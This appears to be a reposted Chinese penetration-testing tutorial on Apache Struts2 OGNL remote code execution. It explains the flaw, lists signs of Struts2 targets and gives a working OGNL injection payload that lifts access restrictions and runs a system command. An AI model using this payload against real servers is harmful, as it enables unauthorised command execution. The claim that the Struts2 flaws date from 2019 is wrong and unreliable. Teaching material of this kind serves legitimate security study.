码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 网络安全深入学习第三课——热门框架漏洞(RCE—Struts2远程代码执行)


    文章目录

    • 一、Struts2框架介绍
    • 二、Struts2远程代码执行漏洞
    • 三、Struts2执行代码的原理
    • 四、Struts2框架特征
    • 五、漏洞手工POC
    • 六、漏洞工具复现


    一、Struts2框架介绍

    ------ Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站。

    ------ Struts框架本身分为三个部分:核心控制器FilterDispatcher、业务控制器Action和用户实现的企业业务逻辑组件。


    二、Struts2远程代码执行漏洞

    ------ Struts2漏洞是一个经典的漏洞系列,是在2019年被报出来的,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补丁的系统会比较有效。


    三、Struts2执行代码的原理

    ------ Struts2的动态性在于 OGNL表达式可以获取到运行变量的值,并且有机会执行函数调用。如果可以把恶意的请求参数送到 OGNL的执行流程中,就会导致任意代码执行漏洞。

    ------ Struts2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的 OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的 OGNL代码而已。


    四、Struts2框架特征

    1. 查看被测应用系统的源码,URL接口地址以 “.action” “.do”结尾或者地址中包含“!”符号;

    2. 在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core2.*.**.jar 或 xwork-core-2.*.**.jar格式的jar文件,则需检测是否存在Struts2远程代码执行漏洞。


    五、漏洞手工POC

    poc:

    (%23_memberAccess[‘allowPrivateAccess’]=true,%23_memberAccess[‘allowProtectedAccess’]=true,%23_memberAccess[‘excludedPackageNamePatterns’]=%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘excludedClasses’]=%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘allowPackageProtectedAccess’]=true,%23_memberAccess[‘allowStaticMethodAccess’]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream()))

    注意:有些情况利用的时候要记得url编码

    其他struts2版本的POC可以参考:
    https://vulhub.org/#/environments/struts2/


    六、漏洞工具复现

    在这里插入图片描述


  • 相关阅读:
    大端字节序存储 | 小端字节序存储介绍
    Excel 导入
    机器学习强基计划3-4:详解核方法——以核支持向量机KVSM为例
    一种基于多神经网络的烟支缺陷分类与定位方法
    Twikoo最新私有化部署教程--迁移腾讯云
    宇视网络视频录像机升级步骤
    Linux启动流程及systemd服务详解
    【Proteus仿真】【51单片机】锂电池管理系统
    《算法导论》第四版 电子版 全网第一时间发布eBookhub
    IPv6协议报文头
  • 原文地址:https://blog.csdn.net/p36273/article/details/132920600
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号